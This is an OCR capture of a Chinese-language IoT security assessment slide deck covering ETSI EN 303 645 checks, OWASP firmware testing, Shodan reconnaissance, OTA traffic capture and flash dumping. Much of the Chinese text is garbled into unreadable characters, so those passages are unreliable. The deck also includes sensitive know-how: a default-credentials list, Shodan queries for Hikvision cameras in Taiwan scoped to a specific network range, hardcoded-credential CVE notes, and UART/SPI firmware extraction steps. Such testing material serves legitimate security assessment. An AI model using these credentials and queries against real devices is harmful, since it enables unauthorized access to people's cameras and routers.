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altlk

Wi-Fi #4154 : 2.4GHz / 5GHz €35 S - B EHEREARER -
MicroSD # =18 : Aillnx B8 EFHE LM Logs ACHE/TH -
UART / JTAG 12551 . ERAEAIIRELETE (TX, RX, GND) -
Reset Szl | AMNWITRE L MFRER1E (Hard Reset) -

HY B2 B IR 75 8 (Software & Services)

* ®RAR Linux 4% : 17 BusyBox - #&fit RTSP, Web Console, SSH/Telnet
A 7%

* 178) App (i0S/ Android) : R EEIFIRE - sEREE OTA FREEH -

* Elm RTSP £ & 57 © 121K P2PREEInf# 7 RF5 API -
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PROVISION 4.3-1

il — . FRRREREE

* YREAHRE  REETTEEH - REAKEERHIERZIREREA
ISTERVATL A

© WELMERE (Factory Reset) : #1T Hard Reset - TERTER BN R &
amElE—) (MRS ZEHF S ) satlelnit -

. - ¥ SSH / Telnet / Web Z#H|8#E1TE B3R EFH
e @A A -

C SRHIEEE  2mERTENTE  BRAERSEERESHRE

File Actions Edit View Help

—(kali® kali)-

—$

=

loTPass /

ﬂ Edd13Mora Add files vi

~

Preview Code

1 Search

]

this file

productvendor
3COM
3COM
3COM
3COM
3COM
3COM
3COM
3COM

3COM

kali@kali: ~

DefaultCreds-Cheat-Sheet.csv L)

3543 lines (3543 loc)

admin

admin

Admin

admin

admin

Administrator

Administrator

admin

admin

. 04.4 KB &3

password;
1234admim;
admim;
Admin;
<blank:>:
COMCOMCON;
admim;
<blank>;

password;

https://github.com/Edd13Mora/loTPass
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gl — . BRI RS

. . £ Wireshark #EUR S - App £
EmE B =& B mnEERE e -

© TLS HEREME 1) RTSP/HTTP 274k % RTSPS/HTTPS - H TLS
ARZARPRSR >= 1.2 WIRAZZMEER -

* e aae PAPHE ¢ 38 Burp Suite BESRIERE - BEBEHEES
B RS IERRIZEELR -

=0 Etterca -
mQ = S ® ® : &

R

S

\

o

34 plugins

42 protocol dissectors

57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services



PROVISION 4.3-7

Al = . BRS T EEPRERIERE

’ D IREEEE IR - RS ARRE EMER L
UART/JTAG Ml (TX, RX, GND) -

° Serial E4RE Log 247 : &% TTL-to-USB s - BT
(Bootloader Log) °

Xz

* Root Shell ZECRIE : €3BT Bootloader S BRI EE HIZIEHE
& Root PR -

© AERZE - WS Debug MTEIREFER/ERRRE - SiFINRBNERBS
B[S S 1nEReE

UARTI RXD (1.8V)
- UARTI TXD (1.8Y)
UART4 RXD (1.8V)
UART4_TXD (1.8Y)




PROVISION 4.3-4 & 4.3-5

*ﬁlxl UIEl . Iﬁiilﬁlﬁ#ﬁ@ﬁhﬁgm

% VDPZERESRZT 5 SBOM @@l SN

E%%ﬁ@%%@ﬁﬁ%ég1ﬁ %U?Fﬁ’éﬂ]ﬁ%,%ﬂ# (OpenSSL, BusyBox, E/”\E)_IIIEI ~< ;ﬁﬁﬁijzgzﬂmé
Vulnerability Disclosure Policy libcurl) - tE¥f cVE JBAERE - & B R REL LT B IEHMR
(VDP) - M ig S AYImE @ E mEREE S EREEERE - (End of Security Support) -

EEL PGP 58
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ASSESSMENT MATRIX

4 B 1 2 1R AR

IJ mE % %l.%\ ,2“:5 %

#8118 B ¥1 € EN 303 645 XX Azt 7332 (TS 103 701) S8 FITEEXE (Pass Criteria) AL 4GSR

TERRZMEEE  Provision 4.3-1 (Shall) YIREEIRE / 59 SR HIBRTRR RS - bl E R PASS (v
BAINZ{RE  Provision 4.3-3 (Shall) Wireshark ¥ €I&% / Burp MitM ERFTLS 1.2+ - IBAEKRIBHERE PASS (¢
EREEEFZE  Provision 4.3-2 (Shall) s 2 oA / AR 7S B ARAU G sl B B 22 = el A R AR PH 1E PASS (¢
BT HE Provision 4.3-7 (Shall) UART / JTAG k&t Ez82E4 Shell 77EHY Debug N HEEARASEFEBESHERE  PASS(y
BAE®RERER  Provision 4.3-12 (Shall)  Hard Reset & Flash &1z lNEE FURKE A F s B 7R 58 ST = Ml ER PASS ("




=/\E0

CF%H%%E EEI 4{ /EJFI/L:\-L;’Y(/\ =1 %‘3:%_%:

1 BREEERBEEAER 1L RERE TR IR B B R
123 P AR R 2 BIBE R 2 EREEBEE

3./ﬁJnit7‘j_/£J/ln/</u\ MR E R R 3.ER R ER = 4 e E%%LJR 5
7FE Iy ] 4.1/\uuf /_/__77_7514:

T % |- 7 R SR D

I'I'

!\’

source: NIST SP 800-53 Rev. 5 & NIST IR 8259A
source:SYSTEMATIC REVIEW article Risk and threat mitigation techniques in internet of things (IoT) environments: a survey
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OWASP FSTM #a I E 25

Firmware Security Testing Methodology FH OWASP |oT Project i

R WS B s 5547 BRI B B 3
Information Gathering Bl 5 £ Analyzing Firmware )& 7t Emulating Firmware 8215 ¥
Obtaining Firmware BX 58] 82 Extracting Filesystem 1IZEUiERE &K Dynamic Analysis 18873 1f

Analyzing Filesystem Content Runtime Analysis #1TIEEZ 73
BRRENS SN
Exploitation I 2538

=] ENEE Dl SR IRIVER 24 RE D 15 1 R DT HATER DA e it
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Information Gathering E:fl 5

=AY
RERRERE - ME - FEERAS A HIBE - U EHprofile
NERBENSEREAR

=2HI1LE
FCC ID Search M Google Dorks

1. EEmEA - E£HFM - FCCIDE R E(fccid.io)
2. DL Shodan / Censys # = R FE T A K _EHEB B SR AR
3. Google Dorking #= « GitHub 2RIV 3 IR IAHE

Searchable FCC ID Database

The information resourc all wireless device applicatio vith the FC

Check Today's FCC ID filings or browse by country or date

FCC ID Search

FCC ID Device Details

FCCID
Mirrors
Grantee Code
Product Code

Applicant Business

Business Address Building 24 (floors 1,3,4,5) and 28 (floors1-4), Central Science and Technology Park,Nanshan, Shenzhen 518057, China

Application Purpose Criginal Equipment
Equipment Class AX1800 Dual-Band Wi-Fi 6 Router
Test Firm BTLInc

Certified By Rose Liu Supervisor
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= B
e BENE - BE  FBRRASARMBE - RUKEBHprofle

1’E2%1§ZEHR%&?]EESE’\J“§,% ;

—/\

FCC ID Search M Google Dorks

AT B

1. EEmMEM - FEHFM - FCCIDE R E(fccid.io)
2. L Shodan / Censys == 5 21 491 _ RYAH B 2L 558 AR 75
3. Google Dorking #= -« GitHub BRI TR IBHE

\ as

n"
-~
- N
LW W

<
S )
:°

ov

u,.‘.,‘.‘l.““
Z H09ts 8 £
tve

247 248 248 250
- 345 8

. 2
7

1
8

258 258 R

960' 2 3 4 s' mmrl’“”‘

Report No.: 20080188,1
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Information Gathering &

ATl 5

e

Mniy

A

= B
SeeE BAZRO 1 - AR -
AERBENSYE

iSRS
NEE

/\Eﬁ r$:ﬂ

2211 WEE E profile

)
FCC ID Search | Google Dorks

H 1T 5B
1. BEHEMER - FHFM -

2. DL Shodan / Censys # S 2 ZE AR CHWHEEZE
3. Google Dorking #= « GitHub 2RIV 3 IR IAHE

FCCIDE 1} E(fccid.io)

55 AR 75

% SHODAN Explore Downloads Pricing product:"Hikvision IP Camera” country:" TW" -

L e A R S S &4 View Report & Download Resuls e F
45,994 Product Spotlight: A native desktop app to access Shodan using your AP key
TOP CITIES

Taichung 9,918 i /1.1 20

Taiwan, Tainan Date: Tue, 11 Aug 2826 18:15:86 GMT

Kaohsiung 8,849

Taipei 8,09

Tainan 6,928 :

Taoyuan City 07 e

More... GMT

q SHODAN Explore Downloads Pricing product:"Hikvision IP Camera" net:140.112.0.0/16
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Information Gathering E:fl 5

H /Y
EERRRE - ME - FRERASLARBE - BUXEHprofile
NERBREIUSIIRENARER -

FCC ID Search M Google Dorks

1. EEmEMR - FEHFM - FCCIDE R E(fecid.io)
2. L Shodan / Censys == 5 2 4918 _ RY4H B 2L 55 AR 75
3. Google Dorking = -« GitHub = 8RRV B[R IAHE

# SHODAN | Images | fountryTW

// FOUND 4,107 RESULTS £
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Information Gathering &3

&
t

A1
/|

=AY

RERRERE - M - FERAS O HBEE
ERBEINSEIREARR -

a

22 11 W E H profile

o, 17 20 BR

1. EREmBEH - FEHFM - FCCIDE R E(fccid.io)

2. DL Shodan / Censys # = R FE T A K _EHEB B SR AR
3. Google Dorking # = + GitHub 2 RAVER E IR IETS

The focus of the IwlP TCP/IP imp
RAM and room for around 40

) IGMP, ARP, PPPoS, PPPoE
ant, D t (incl. mDNS hostname resc toIP/APIPA (Zer
lized APIs for enh
u‘\m K inter ld
I, SMTP(S
IwiP is licenced under a BSD-style license: b
Contnb code has been moved to the main repository, subdir ‘contnb’

Github

091313 PMUTC

n/Stable

.

I main ~

"ﬁksuibmAmzn pdate +TCF module t lor fix =

| github

B8 FreeRTOS-Plus

BB FreeRTOS

B tools pdat
%) .editorconfig

" .gitignore

O .gitmodules

[ FreeRTOS+TCP.url

[ GitHub-FreeRTOS-Home.url

Add file

& Watch 151

<> Code ~

%) 3,729 Commits

- Y Fork 20k v T7 Star 7.7k -

About

“Classic’ FreeRTOS distribution. Started
as Git clone of FreeRTOS SourceForge
SVN repo. Submodules the kernel.
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=AY
RERRERE - M - SRS
NERBREIUSIIRENARER -

Nl

2211 WEE E profile

—/\

FCC ID Search | Google Dorks

~

#H 1T 0B

BHEmMEMR - FEAFM - FCCIDE K E(fecid.io)
2. L,( Shodan / Censys 8 = F FE T A4 15 _ERIME[E BY 5% A 75
3. Google Dorking # = « GitHub 2RV E IR IETS

¥ master ~ ¥ 39Branches © 157 Tags Q Go to file T Add file - \ <> Code ~ \ About

BusyBox mirror

” rmyorston and vda-linux ash: move hashvar() calls into findvar() &8 9 earsago o) 17,818 Commits

C.? www.busybox.net/

[0 Readme
B8 applets libbb: code shrink: introduce and use [_Jexit_FAILURE() 3 years ago i
113
B applets_sh mim: run scripts from a specification file
Ay Co uting
B arch build system: combat gcc zealotry in data alignment. now for... 6 years ago Ar Activity
= C pert
. archival Update applet size estimates 3 years ago
v 2.2k stars
. conﬁgs [ k ® 66
o Y? 750 forks
. console-tools Update applet size estimates 3 years ago
repo:
BB coreutils seconds if
B8 debianutils start-stop-daemon: make --output not depend on FANCY 3 years ago Releases
© 157 tags
B docs tsort: new applet 4 years ago

- busybox Pubic @ Watch 66 ~ Y Fork 750 ~  ¢7Star 22k -~
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=AY
RERRERE - ME - FEERAS A HIBE - U EHprofile
NERBREIUSIIRENARER -

FCC ID Search | Google Dorks

#H 1T 0B

1. EREmBEH - FEAHFM - FCCIDE R E(fccid.io)
2. L Shodan / Censys == 5 21 491 _ RYAH B 2L 558 AR 75
3. Google Dorking # = + GitHub BRIV B2 /R 1A 15

+ nEE -

XiongMai uc-httpd BhE##EEAT (XiongMai Technology) ‘AT HERIERHE « B{Is
FH# (DVR/NVR) SYEHEREPARNBERRPFESFERIE (HTTP server) B8 o BZERFS
SIEITH 80 5Y 8000 HEiEE » ANBEWIBEECSEAELERF ENESELRMH

E ° @ Royal Holloway, Unive... +1

ERZZREPF
- EEHEE{ (CVE-2018-10088) :
o FRAE 1.0.0 FHEBRENHBRNETEURIFRA -
o HEETIEAGXENNETERSLERRTESERE  EERENR

ﬁ o @ Royal Holloway, Unive... +2

- B#4EE (CVE-2017-7577) :
o SEFREBENERIEBEEEAEESE ../ B ceT R B HE _ LREENE

E o @ CVE: Common Vulner... +1
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Information Gathering &3l

=AY
RERRERE - ME - FEERAS A HIBE - U EHprofile
NERBREIUSIIRENARER -

~

FCC ID Search | Google Dorks

#H 1T 0B

SHAEmMBA - EHFM - FCCIDE R E(fecid.io)
2. J/,( Shodan / Censys = Z & £ 4915 _ RYAH S BY 5% Al 75
3. Google Dorking # = « GitHub 3R E IR IETE

4 ABE

8B (XiongMai) BEEEARREE (Hardcoded Credentials) - 7H8 2258 ol fEE & PR
SEMSIBREAEZE © @ sec consult+2

ZOREREXRR

« Mirai JERMEEEMF | 20165 - FABER R RPN ASETRER (DVRINVR) R4
RiBTH - AAREEAMELERRTEE @ B Mirai BEEABL RS ARM
DDoS ¥ > J8EMEEIERS ESR © @ iThome «2

- BRRRREDS : o BEREEFETERLMY default IR HEBASRARIEN

tluafed © . SEC Consult

« FHAFRTA (CVE-2025-65857) : il XM530 IP B SR REEESH BT EEER
(CWE-798) » 7£ ONVIF &£ (GetStreamUn) HREB 7T EMNERE LT whd BE

BS 2MNswbQs © @ GitHub +1

« BIEEUB#IT (CVE-2026-34005) : iTHATFHHIR & ¥ 548 DVR/NVR 89 RCE &R » 3
BETVEAANREASHBETERITEE o & sentineione



Obtaining Firmware {5852

B
BEiIENIEEEE

ERNGE O HEITRIZEE

_ENURESR -

1. B7 N&l - MEEREMER / SXEH/L
2. W& OTA B E &l - FNL B8P RIE) S
3. TRRAIBNES B 1a k=S APl - ErlE#E M&l

4. Fri%zEHY Flash / EEPROM ( SPI ~ JTAG * UART )

o fERSARRRALER - BERS RN
« EEmMIREEMBAERPR FEEUS bintE X

- [EEIE4SHA256% =8

TOTO MY

LR350 4G LTE | HIE

LR350 4G LTE E5KRHS

FIRSERM v BWHER v ERNE v BiSEE v

M+ ; Bi7EEResetRE > BiARIEE » &8

Q




Obtaining Firmware Y5882

H 1=
SRSRNEEEE ERNEIHANNTE SRR -

1T 5

1. B7 N - MEFEREEMNEH / SXiEH L
2. W& OTA B €l - L B8 P RIFNEENE
3. ;WAIFNRE EFr ARz APl - EFIEE &)

4. Fr#%zEHY Flash / EEPROM ( SPI ~ JTAG * UART )

System Update

MANG MI

1.0.60 19.85MB
Release Date: 2025-12-03

Update Details

Start Update

Android & _F Uik ek B o @ ot

Run Script as Root

Please use only official scripts. Malicious scripts may cause
system instability.

'_f | Understand the Risks

Select Script

HrfE] AT EESZ CA/HTTPSFR ]
e E J7ieftRoot AN TERHE
Zﬂ: CA/%’V (‘ﬁ J;Tﬁfﬂ':-g B Back A Confirm

https://blog.omgmog.net/post/mangmi-firmware-updates-ota/



Obtaining Firmware Y5882

H 1=
BRSRNIEREE  ERISIHANINE SRR -

] 1T B
1. EANE  BEIEBENER / ZEFLH
2. {8 OTA Ef=IE - UL BEH PR
3. RAFNEE AR APl - EXEETH
4. Fr#%zEHY Flash / EEPROM ( SPI ~ JTAG * UART )

#! /system/bin/sh
tcpdump -i any -w /sdcard/scripts/ota_capture.pcap &
echo $! > /sdcard/scripts/tcpdump.pid

B BRI TtepdumpHIEE £

LR B Wireshark - Follow TCP Stream (tcp.stream eq 0) - ota_202851208_140044.pcap

1888 par, ©F B pits, 0 turns.

'$ FHwireshark 73 AT EHYENEL > 2837 POSTEIRFIE SR HYER >
Payload FE A5 <2 8

o ‘EREIEEERR AN (current_version)

4R A N

o ZRgE(secret-key)

https://blog.omgmog.net/post/mangmi-firmware-updates-ota/
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4 5 A
H 1R

AY Y Py = (14 N N . 00 Wireshark - Follow TCP Stream (top.stream eq 0) - ota_20251208_140044_poap
SRSENEIEEE BRSO HEDITRERE _EAESR -

«1 200 0K
Server: nginx/1,.20.1
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.27
Cache-Control: no-cache, private
ate: Mon, 08 Dec 2025 14:00:57
ceess-Control~Allow-Origin: »

GMT

/ J—— HX "co A message” : “success”, "data": {"1d":81,"version_name":"1.0.60","details_zh" W fee\uSP0d\uiSee\VIBI8\uffla\r\nl,. \udfee\uSI0d\usSroe\u
I {/ "\\KTA T3a\us5 \UShfc\uDB84\UBBCS \uSe94\ u7528\uf fOc\uS5168\uPled\u5b B8cS\uUSHEC\UB21\ US40\ u T fRC\uShEN\UBBCS\uT684\ L6309\ Uidae\LA I\ u6S5e 7\ u53e
\UI9ONLTFID\r\n2. \udfee\u590d\uS5728\u638c \u673a\uBbbe\u716e\ude2d\uS57 M\ UGB\ L4eBD\ LB 2CI\UBITC\USISS\UEBRT \UBCID\USETA\UTOE T\ LdcBd\ua T la\
MBI TI\UBTEC\US230\UGCID\USETA\UTB6 T\ uUBbDe \U7 16 \UIBTS5\UB762\uf T1D\r\n3. \udfee\uS5Pd\uSca MNuSe55\u6620\uScM\uS341\uShS5T\uP52e\u62d6\uS1fa\ud
O\ ude2a\ U952\ US40\ U TTRC\UTE TE\USIcd\UESDI\USA1I\U7684 \u952e\ af 1a\UECal\UE7RN\WS29T \UBRfd\uT fID\ r\nd, \udfee\u590d\udeRD\UEZ2CcN\UGERT\U5TI
A —— \ C =k Eﬂ =7 \ 2\U5236\u6a2a\uScAT\ U656\ u561e\uEBR7\u663e\U7930\ude3a\U767d\uB272\ U5 \uUFBIB\UTFID\r\n5. \udfee\uS90d\uIDeB\u5206\u673a\u5668\L6982\u7387\
N o M/ = / /L’\ S1Ta\u73b0\ub447\U6746\uBdT I\ U700\ UISee\UBBIB\UTTID\r\n6. \udfee\uS90d\ube3B8\ub201\u5421\uS2aB8\uUS668\U626L\UE3Cc\UISea\uP00D\u3001\uTdeB\u5
. E o J o (= E E_‘E ap = E 206\ u6e38\ U620 1 \UPECH\USCOI\UIT62\udede\uBBCC\UE66T\ udedd\UTD26\uU7684\uSee\UIBIB\UT F1D\r\n7. \udfee\u590d\udece\udeIb\udB75\uBfdb\u5165\ube3
B\U6207\uS542 M uS52a8\uS5668\UESTE\USETe\ U687\ L6296\ U528 \uT7684\uB5ee\uIBTE\r\n8. \udfee\UST0d\USTOR\USA2 M\ UG4A4T\UET746 \US3Cca\uS411\uSde6\ U447\
JE746 \uBbbe\u7 16X\ uB 174Y\uB 74\ u53cd\uS411\u65T6\u5de6 \ub447\u6746\ U328 \U5230\ U595\ Ltedd\ U751 MNUE548\UI5ee\LIBIE\ r\n9. \udfee\u590d\u638c)\
NE73a\uBbbe\u7 e\ ude2d\u4edb\US2CH\ U\ UIBTIN\US21 7\ uBBEB\US 1 Ta\u73IDR\UES FE\UERET\uSCAT \udeae \USCAT\UES5 T6\UE63e\u793a\uU5 102\ u5e38\uI5See\uib
\ :I: ﬁ ZAN == EE I\—Lll RE\UTTIDA r\nld. \udfee\uS90d\u7e41\ LA 153 \ude2d\U6587 \ Liedd, \udedb\UE2CI\LWEERT\U79cA\US 1 Ta\u7IDR\ UES48 \UETIC\USA4B \US1 73\ UISed\u T TRC\ UG58 7\ U5D5
?Fﬁﬁ :I:k OTA E ¥ﬁ j EJ ] Hy IH:II 1 $ IJ EP E/\] &;] —] (= T\U7206\u60R1\u5374\ub63e\U793a\uS253\uSTO0\ L7684\ U5ee\UIBIB\UIBB2\ r\n. . .\ MudAfiB\u5316\u529M\uBerd\uffla\r\nl. \uarl1s\u5316\ube3B\u62

: £ SIEN =L =5 +H FEN|=E

U542\ u52a8\u5668, \u626D\ 63 c MUGe3B\u620 M\ uBTel\uE79ganelist,. xnl\ U658 e f6\uf fAC\uUSCcS5\u793a\ube38\ U620 M\ US40 \UTS TR\ uT fBC\u63cT\uBTTe

\USA8C\USETe\u7247; \r\n2. \uafl18\u5316\u6273\u673a\ub6B21\uS51C6\ubacd\ LA ISc\uffec\uBCca3\uS927\ L6273\ uE73a\u6821\u51c6\uSA3c\udar59\WalcMurfib\

r\nd. \waf18\u5316\u542M\u52a8\u6e3B\ U620 M\ LES5T6\US982\ U6 79c\uUBCal\uE709\u6a21\L62d T\ uSE68 \ufTRc\ul lea\u52a8\uBdTI\US5230\uUS5185\u7T6e\u6a21\ub

201\ uS5668\ U875\ 09762\ uSe76\USLE\UBBCS\UTTID\r\nd. \L4f18\u5316\u65b0\ L7248\ u672c\uE3a8\ U901\ LA Tel\ U606 M\uU6BA6\L3002\ r\n. .., "detalls_en":"

J'_IL: o m@ — E]EJ %—ﬁ b ﬁ A F ) @:\r\nl. Fix the pre installed application in the startup wizerd. After i installa ns are completed, the installation button is

3 7k | &;] H—E S a H&E‘E API ) ——% —I ﬁ |: E r\n2. Fixed the issue where g pressing the dropdown menu bar for ambient Lighting in the handgheld settings uld not red
. / N =z / =] n irect to the ambient lighting settings page;\r\n3. Fix the screen mapping: After dragging out a key with the cross key, the keys in the oppos
ite direction will not function « Fix the issue where the icon appears white when the dropdown menu is forced to ndscape;\r\n5, Fix th

ity of joystick jusping points in some chines;\r\n6. Fixed issues h game launcher scanning crashing and some gase set covers n
matching the background \n7. Fix the issue of icon shaking when entering the gase launcher from the homepage\r\n8. Fix e issue where t

iz i‘.?_? eft joystick does not work when the X-axis and Y-axis are reversed when the joystick is turned on in reverse\r\n9. Fixed the issue of abn
_E y FlaSh / EEPROM ( SPI S JTAG S UART ) mal display when the dropdown option list in the handheld device settings appears and the screen is turned and on;\r\nld. Fixed the
" n = in Traditional Chinese where the dropdown menu appears as closed but the text status shows as open.\r\n...\r\nr\r\nOptimization function:
Optimize the game launcher, scan the game parsing gamelist.xnl file, display the game name, description, and image;\r\n2. Optimize trigg
calibration operation and increase the margin of trigger calibration value;\r\n3. If there is no emulator when starting the game, automati
to the built-in emulator page and insta 1t;\r\nd. Optimize the new version push information box.\r\n size":"19.85 MB", "url"
/image.mangmi,com\/pkg\/dif M\ /v1.0.58-v1,0.60_AIR_X_MO66_20251129-user.zip","complile_time™:1764392030, " "»d5" :"T23FS559ECTC1116E7F6A6C

51615E869", "published_dat 2025-12-08 09:58:49", "created_at":"2025-12-83" “pkg\/diff\/v1.0.58-v1.0.60_AIR_X MQ66_20251129-user,zip"

Packer 25. 0 SRR pats, 8 TERIN pktx, O turme. Clck 10 sedect,

Stream 0 0

Find. . Case sensitive  Find Next

{Elfizas [EI{EHY JSON Eft Al =
* SRR AN S B B R H 56

TEZEAVIN ~ MD5 1 S EE LR [

https://blog.omgmog.net/post/mangmi-firmware-updates-ota/
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( g
H 1=

ZRFVMEREE SRS UEDTRERE _EAESE -

] 1T B

1. EANE  BEIEBENER / ZEFLH

2. {8 OTA Ef=IE - L BEH P rORNRE

3. KRS EHEREE APl - EXEETE

4. % EEY Flash / EEPROM ( SPI ~ JTAG * UART )

curl -X POST "https://api.mangmi.cn/api/update-package/update” \
-H "Content-Type: application/x—wwi—form—urlencoded" \
-H "User-Agent: okhttp/d.12.0" \
--data "current_version=1.8.58&sn=<YOUR_SN>&secret-key=<SECRET>"

TESAPIHYPayloadf& 1%
o HfEFEWcurll B RS EE R E T E ks
« HIFTHESEEERIRS

https://blog.omgmog.net/post/mangmi-firmware-updates-ota/
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”a

SHEMIEEEE - SRINGUEDTRERE _EAESE -

17 2 B

1. ER N  MEIBENER / ZEFLH

2. W& OTA B8 - LB & PSS

3. ;KAFNESE GRS APl - EHEE T

4. Fri%zEHY Flash / EEPROM ( SPI ~ JTAG * UART )

BOmeeB308|+ ° 119 =~ o

Guweviom 2264 )

3 oot Prerver Nemp.
Flle Actions EdR View Help
Bus 004 Device 093: ID QObda:0411 Realtek Semiconductor Corp. Hub

root® server)-[/tmp)
picocom /dev/ttyUSBo -b 115200
picocom v3.1

port is : /dev/ttyusseo
flowcontrol : none
baudrate is : 115200
parity is : none
databits are : 8
stopbits are : 1

escape is : C-a

local echo is : no

noinit is : no
noreset is : no

hangup is : no
nolock is : no
send_cmd is Sz -wv
receive_cmd is : rz -vv -E
imap is 5

omap is 3

emap is : crcrlf,delbs,
logfile is : none
initstring : none
exit_after is : not set
exit is : no

Type [C-a] [C-h] to see available commands
Terminal ready

HiZ>m
1. HiZ

2. 1-WIRE

3. UART 1
4. I12C

6. 2WIRE

7. 3WIRE

8. LCD

x. exit(without change)

(1)>8

>0 ©80EHL|aAC

o

iR it FE 4 Z debug interface
o ([FEHS—EEREICE R

o A iushbERE R B

- BIATRSEAS

https://www.youtube.com/results?search_query=iot+devicetfirmware+uart
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E

SERIEEEE SRS UEITRERE

HENTEZE

==Ig B

o

17 2 B
BN NE  MEIEENER / XEPLH

2. W& OTA B8 - LB & PSS
3. KAFEEHEMRE: APl - EREETH

4. Fri%:EHN Flash / EEPROM ( SPI

~ JTAG ~ UART )

III.QOB@QQI- °oNs = o

Guvcvrw G112 fpa 3

File Actions Edit View Help

Limiting speed to 2 MHz.

t
ns

ion

Thanks for your help!
Reading flash ... done.

>0 ©Aa0ny|a

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Bus Pirate firmware 6.1 and older does not support SPI speeds above 2 MHz.

It is recommended to upgrade to firmware 6.2 or newer.
Found XMC flash chip "XM25QH64C” (8192 kB, SPI) on buspirate_spi.

This flash part has status UNTESTED for operations: PROBE READ ERASE WRITE
wp
The test status of this chip may have been updated in the latest developmen

version of flashrom. If you are running the latest development version,
please email a report to flashromaflashrom.org if any of the above operatio

work correctly for you with this flash chip. Please include the flashrom lo
g
file for all operations you tested (see the man page for details), and ment

which mainboard or programmer you tested in the subject line.

DESCRIPTION

root® server)-[/tmp]
binwalk tp_lin_fw.bin
DECIMAL HEXADECIMAL
96144 0x17790
2021 - ©9:25:12)°
111343 0x1B2EF
130938 @x1FF7A
277200 0x43AD0
2021 - 09:25:10)"
328192 0x50200

1638400 @x190000

L_.( ioote server)-[/tmp]

2 ARG R P B e s a1 T o0 AT

U-Boot version string, "U-Boot 1.1.3 (Nov 8
HTML document header
HTML document footer
U-Boot version string, "U-Boot 1.1.3 (Nov 8

LZMA compressed data, properties: Ox5D, dicti

onary size: 8388608 bytes, uncompressed size: 3441784 bytes

Squashfs filesystem, little endian, version 4

.0, compression:xz, size: 6380036 bytes, 744 inodes, blocksize: 131072 byte
s, created: 2021-11-08 01:42:03

https://www.youtube.com/results?search_query=iot+devicetfirmware+uart

(<3
Q
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H 1=
kAU FISMIE RS T » RS NEEEKBBEMINE - #
BN E AT ICRET BEALE DT -

$§Q 170 88
1. EH file / binwalk #/Efheadss F B3 F4ET

2. FETMWEDN (entropy ) - SWEIREROIEE S B4R
N2&2

3. I bootloader * kernel - rootfs 0 &iE R

CEERINE - SRS ERENEERRINREREE - 3k
EAINE &R F A

_/\

iot@attifyos ~/Downloads> file TOTOLINK C835DR LR350 IP04481 MT7628NN SPI 8M32M
V9.3.5u.6507 B20221113 ALL.web

TOTOLINK C835DR LR350 IP04481 MT7628NN SPI 8M32M V9.3.5u.6507 B20221113 ALL.web:
u-boot legacy uImage, C835DR-6507, Linux/MIPS, 0S Kernel Image (lzma), 4119684
bytes, Sun Nov 13 12:33:13 2022, Lnad Address: 0x80000000, Entry Point: 0x80276F

DO, Header CRC: 0x86BCB828, Data CRC: OxECEC2EDC
iot@attifyos ~/Downloads> binwalk -E TOTOLINK C835DR LR350 IP04481 MT7628NN SPI
8M32M V9.3.5u.6507 B20221113 ALL.web

DECIMAL HEXADECIMAL ENTROPY

0 0x0 Rising entropy edge (0.986662)
4077568 0x3E3800 Falling entropy edge (0.425627)

(python3:9826): dbind-WARNING **: : Error retrieving accessibility b
us address: org.freedesktop.DBus.Error.ServiceUnknown: The name org.ally.Bus was
not provided by any .service files
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SRES

T2 BT ITIKEET Bede B T

n"iz/”aJ&?] SHERBTI - HRANESERLBERMENINE - 7

A LE

3. I bootloader * kernel - rootfs FEn&iER

4, EMERINE - SaSHEENEERINRENER -
ERAVINE &R F A

A

1. £/ file / binwalk #ETheadss & BT 3418
2. ETHEDN (entropy ) - SEEIBFR D) HE = EEARE)
N2&2

=

Figure 1

A€ Q=B

Entropy

1000000 2000000 3000000 4000000
Offset
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=L :

s — s 2 = = + o |\ =
II==I|=}|:| Hyl'f%lz éj\llf.llﬁllj:llg B/\ EEEI/ \/ \I\ﬁ ’ Hy %':7-5%—552 E ﬁ%%ﬂ’%l//( b|nwa|k Unblob EMBA
HEBEBARABS DT - - - - -

1
20

$ﬂ ,fj- . '%7\17\ - fish /home/iot/Downloads
O N S File Edit Tabs Help
1. DL binwalk -Me B B)IEEEBR SRS T iot@attifyos ~/Downloads> binwalk -Me TOTOLINK C835DR_LR350_IP04481 MT7628NN_SPI
_8M32M V9.3.5u.6507 B20221113 ALL.web
HBEEFERR - FF dd YLD EEE EREER ( SquashFS » Scan Time: 2026-08-04 00:38:03
Target File: /home/iot/Downloads/TOTOLINK C835DR LR350 IP04481 MT7628NN SPI 8M
JFFS2 ~ UBIFS ) 32M V9.3.5u.6507 B20221113 ALL.web
MD5 Checksum: 3ca9cd3767f81b486ef67a0934034ae7
Signatures: 396
e 2 Z i
3. MRS R EFE AR (mount / loopback ) DECIMAL HEXADECIMAL DESCRIPTION
4 Eﬁnu Jetc ~ /bin - /WWW F‘%ﬁ\gﬁ" - %.—\—mﬂ 0 0x0 uImage header, header size: 64 bytes, header CRC:
/ 8 m

0x86BCB828, created: 2022-11-13 12:33:13, image size: 4119684 bytes, Data Addres
s: 0x80000000, Entry Point: 0x80276FD0, data CRC: OxXECEC2EDC, 0S: Linux, CPU: MI
PS, image type: 0S Kernel Image, compression type: lzma, image name: "C835DR-650

7II

64 0x40 LZMA compressed data, properties: 0x5D, dictionary
size: 33554432 bytes, uncompressed size: 3216356 bytes

1102096 Ox10D110 Squashfs filesystem, little endian, version 4.0, c

ompression:xz, size: 3017652 bytes, 830 inodes, blocksize: 131072 bytes, created
: 2022-11-13 12:33:10
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4 E E
-

l_|_|
e e == N / ] N /T ——/E\-
CIEERER MO BERER 24 - ISTTEB#RGEI Unblob EMBA

BB D - ,

B Downloads
1. J/\/{ blnwalk -Me g%ﬂ;ﬁ@ﬁﬁ@g%ﬂ*ﬁl\ File Edit View EookmérES Go Tools Help

= (W ~ (a1 | 2] /| home | iot | Downloads

EEELRY - F3 dd P)HH EEK ERE ( SquashFS - comrie 1 R ©

[ Desktop extracted foxyproxy s ge550v2- GES50 V2_2 GPL License

JFFSZ N UBIFS ) " Trash Can tandard-7.4. ge650vZ2 6- 60526.zip Terms.pdf
| 3.xpi up-all-ver1...

& Applications

& 1.1 GBVolume

3. H%. \”;E?ilszjzijgb& ( mount/ |OopbaCk ) DDiiJﬁ_lents Howto  rootfs.squas TOTOLINK_C

7 Music upgrade TP- hfs 835DR_LR35
Ed Pictures Link wirel... 0_IP04481...
H videos

4. &= letc ~ /bin ~ /www 5EE 5 B Br 45 8 o 2 ar—
B tools

